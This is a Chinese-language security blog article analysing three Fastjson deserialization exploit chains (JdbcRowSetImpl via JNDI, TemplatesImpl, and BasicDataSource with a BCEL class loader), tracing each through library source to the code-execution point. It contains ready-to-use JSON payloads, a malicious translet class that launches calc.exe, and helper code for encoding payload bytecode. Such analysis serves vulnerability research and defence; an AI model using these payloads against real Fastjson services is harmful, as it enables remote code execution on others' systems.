作者 | 4ra1n

来源 | https://www.anquanke.com/post/id/248892

Fastjson已被大家分析过很多次，本文主要是对三种利用链做分析和对比

JdbcRowSetImpl

String payload = "{\n" +"    \"a\":{\n" +"        \"@type\":\"java.lang.Class\",\n" +"        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +"    },\n" +"    \"b\":{\n" +"        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +"        \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +"        \"autoCommit\":true\n" +"    }\n" +"}";
JSON.parse(payload);

payload中的a对象用来当作缓存绕过，需要关注的是第二个对象

注意到其中"autoCommit":true，反序列化时，会反射设置属性，调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

    public void setAutoCommit(boolean var1) throws SQLException {if (this.conn != null) {this.conn.setAutoCommit(var1);} else {// conn为空才会调用到这里this.conn = this.connect();this.conn.setAutoCommit(var1);}}

跟入com.sun.rowset.JdbcRowSetImpl.connect()，触发lookup，加载远程恶意对象

protected Connection connect() throws SQLException {if (this.conn != null) {return this.conn;} else if (this.getDataSourceName() != null) {try {// conn为空且dataSourceName不为空才会到这里InitialContext var1 = new InitialContext();// 成功触发JNDI注入DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

根据lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()

    public Object lookup(Name var1) throws NamingException {if (var1.isEmpty()) {......return this.decodeObject(var2, var1.getPrefix(1));}}

跟入decodeObject方法，看到加载了远程Reference绑定的恶意对象

Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);

总结：

• 实战可以利用，JDNI注入基于较低版本的JDK，LDAP适用范围更广

• 必须能出网，加载远端的恶意字节码，造成了局限性

TemplateImpl

String payload = "{\"a\":{\n" +"\"@type\":\"java.lang.Class\",\n" +"\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +"},\n" +"\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +"\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(payload, Feature.SupportNonPublicField);

注意其中的Payload来自于恶意类，该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

public class TEMPOC extends AbstractTranslet {public TEMPOC() throws IOException {Runtime.getRuntime().exec("calc.exe");}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {}public static void main(String[] args) throws Exception {TEMPOC t = new TEMPOC();}
}

类似第一条链，使用两个对象绕过，其中的Payload为恶意类的字节码再Base64编码的结果，给出简易的py脚本

fin = open(r"PATH-TO-TEMPOC.class", "rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
print(fout)

该链需要开启Feature.SupportNonPublicField参数再反射设置属性，查看官方说明，如果某属性不存在set方法，但还想设置值时，需要开启该参数，这里的情况正好符合，而实际项目中很少出现这种情况，导致该链较鸡肋，没有实际的意义（其实TemplateImpl类中有set方法，比如setTransletBytecodes，但是名称和Bytecodes不一致）

在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断

final int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null&& (lexer.isEnabled(mask)|| (this.beanInfo.parserFeatures & mask) != 0)) {......

反序列化时，fastjson中会把”_”开头的属性替换为空。并在outputProperties设置值时调用getOutputProperties

   public synchronized Properties getOutputProperties() {try {return newTransformer().getOutputProperties();}catch (TransformerConfigurationException e) {return null;}}

调用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法

transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

跟入getTransletInstance

// name不能为空所以在payload中设置a.b
if (_name == null) return null;
// 关键
if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

再跟入defineTransletClasses，对父类进行了验证，这样解释了为什么Payload恶意类要继承自该类。如果验证没有问题，将在上方的newInstance方法中实例化该类，造成RCE

private static String ABSTRACT_TRANSLET= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;
}

为什么_bytescode要对字节码进行base64编码？反序列化的过程中会调用很多类，在经过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候，会对字段进行一次base64的解码

......
if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {byte[] bytes = lexer.bytesValue();......

跟入lexer.bytesValue()方法，看到decodeBase64

public byte[] bytesValue() {......// base64解码return IOUtils.decodeBase64(buf, np + 1, sp);
}

总结：

• TemplatesImpl类是Java反序列化界比较常用的类，更容易理解和上手

• 需要开启Feature.SupportNonPublicField，实战中不适用

BasicDataSource

String payload = "{\n" +"    \"name\":\n" +"    {\n" +"        \"@type\" : \"java.lang.Class\",\n" +"        \"val\"   : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +"    },\n" +"    \"x\" : {\n" +"        \"name\": {\n" +"            \"@type\" : \"java.lang.Class\",\n" +"            \"val\"   : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +"        },\n" +"        \"y\": {\n" +"            \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +"            \"c\": {\n" +"                \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +"                \"driverClassLoader\": {\n" +"                    \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +"                },\n" +"                \"driverClassName\":\"!!!Payload!!!\",\n" +"\n" +"                     \"$ref\": \"$.x.y.c.connection\"\n" +"\n" +"            }\n" +"        }\n" +"    }\n" +"}";
JSON.parse(payload);

这个Payload适用于1.2.37版本，并且需要导入Tomcat相关的包

<dependencies><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.37</version></dependency><dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-dbcp</artifactId><version>8.0.36</version></dependency>
</dependencies>

生成driverClassName的工具如下

import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;public class Test {public static void main(String[] args) throws Exception {JavaClass cls = Repository.lookupClass(Exp.class);String code = Utility.encode(cls.getBytes(), true);code = "$$BCEL$$" + code;new ClassLoader().loadClass(code).newInstance();System.out.println(code);}
}

BCEL的全名是Apache Commons BCEL，Apache Commons项目下的一个子项目，包含在JDK的原生库中。我们可以通过BCEL提供的两个类 Repository 和 Utility 来利用：Repository 用于将一个Java Class先转换成原生字节码，当然这里也可以直接使用javac命令来编译java文件生成字节码；Utility 用于将原生的字节码转换成BCEL格式的字节码。

生成的BCEL格式大概如下：

$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......

将这种格式的字符串，作为“字节码”传入new ClassLoader().loadClass(code).newInstance();将会被实例化，当我们在Fastjson反序列化中构造出这种链，将会造成反序列化漏洞

回到Payload，开头一部分用于绕Fastjson黑白名单，没有什么特殊的意义，核心部分如下：

"x" : {"name": {"@type" : "java.lang.Class","val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"},"y": {"@type":"com.alibaba.fastjson.JSONObject","c": {"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"!!!Payload!!!","$ref": "$.x.y.c.connection"}}
}

这个版本利用的是$ref这个特性：当fastjson版本>=1.2.36时，我们可以使用$ref的方式来调用任意的getter，比如这个Payload调用的是x.y.c.connection，x是这个大对象，最终调用的是c对象的connection方法，也就是BasicDataSource.connection

参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

if ("$ref" == key && context != null) {// 传入的ref是$.x.y.c.connection，匹配到elseif ("@".equals(ref)) {...} else if ("..".equals(ref)) {...} else if ("$".equals(ref)) {...} else {Object refObj = parser.resolveReference(ref);if (refObj != null) {object = refObj;} else {// 将$.x.y.c.connection加入到Taskparser.addResolveTask(new ResolveTask(context, ref));parser.resolveStatus = DefaultJSONParser.NeedToResolve;}}
}
// 处理后设置到context
parser.setContext(context, object, fieldName);

漏洞的触发点在com.alibaba.fastjson.JSON.parse:154

parser.handleResovleTask(value);

跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465

if (ref.startsWith("$")) {refValue = getObject(ref);if (refValue == null) {try {// 看到eval感觉有东西refValue = JSONPath.eval(value, ref);} catch (JSONPathException ex) {// skip}}
}

跟入JSONPath.eval，这里的segement数组中的是[x,y,c,connection]

public Object eval(Object rootObject) {if (rootObject == null) {return null;}init();Object currentObject = rootObject;for (int i = 0; i < segments.length; ++i) {Segement segement = segments[i];// 继续跟入currentObject = segement.eval(this, rootObject, currentObject);}return currentObject;
}

到达com.alibaba.fastjson.JSONPath:1350

public Object eval(JSONPath path, Object rootObject, Object currentObject) {if (deep) {List<Object> results = new ArrayList<Object>();path.deepScan(currentObject, propertyName, results);return results;} else {// return path.getPropertyValue(currentObject, propertyName, true);return path.getPropertyValue(currentObject, propertyName, propertyNameHash);}
}

继续跟入path.getPropertyValue

protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {if (currentObject == null) {return null;}if (currentObject instanceof Map) {Map map = (Map) currentObject;Object val = map.get(propertyName);if (val == null && SIZE == propertyNameHash) {val = map.size();}return val;}final Class<?> currentClass = currentObject.getClass();JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);if (beanSerializer != null) {try {// 最后一次循环到达这里return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);} catch (Exception e) {throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);}}

跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439

public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {FieldSerializer fieldDeser = getFieldSerializer(keyHash);......// 跟入return fieldDeser.getPropertyValue(object);
}

跟入com.alibaba.fastjson.serializer.FieldSerializer:145

public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {Object propertyValue =  fieldInfo.get(object);

到达com.alibaba.fastjson.util.FieldInfo，达到最终触发点：method.invoke

public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {return method != null? method.invoke(javaObject): field.get(javaObject);
}

看到这里的javaObject正是BasicDataSouce

回到BasicDataSource本身

public Connection getConnection() throws SQLException {if (Utils.IS_SECURITY_ENABLED) {// 跟入final PrivilegedExceptionAction<Connection> action = new PaGetConnection();try {return AccessController.doPrivileged(action);} catch (final PrivilegedActionException e) {final Throwable cause = e.getCause();if (cause instanceof SQLException) {throw (SQLException) cause;}throw new SQLException(e);}}return createDataSource().getConnection();
}private class PaGetConnection implements PrivilegedExceptionAction<Connection> {@Overridepublic Connection run() throws SQLException {// 跟入createDataSource()return createDataSource().getConnection();}}
// 继续跟入createConnectionFactory()
final ConnectionFactory driverConnectionFactory = createConnectionFactory();

最终触发点，其中driverClassName和driverClassLoader都是可控的，由用户输入，指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader，设置ClassName为BCEL...这种格式后，在newInstance方法执行后被实例化。第二个参数initial为true时，类加载后将会直接执行static{}块中的代码。

if (driverClassLoader == null) {driverFromCCL = Class.forName(driverClassName);
} else {driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}
...
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
...
driverToUse = (Driver) driverFromCCL.newInstance();

总结：

• 不需要出网，不需要开启特殊的参数，适用范围较广

• 目标需要引入tomcat依赖，虽说比较常见，但也是一种限制

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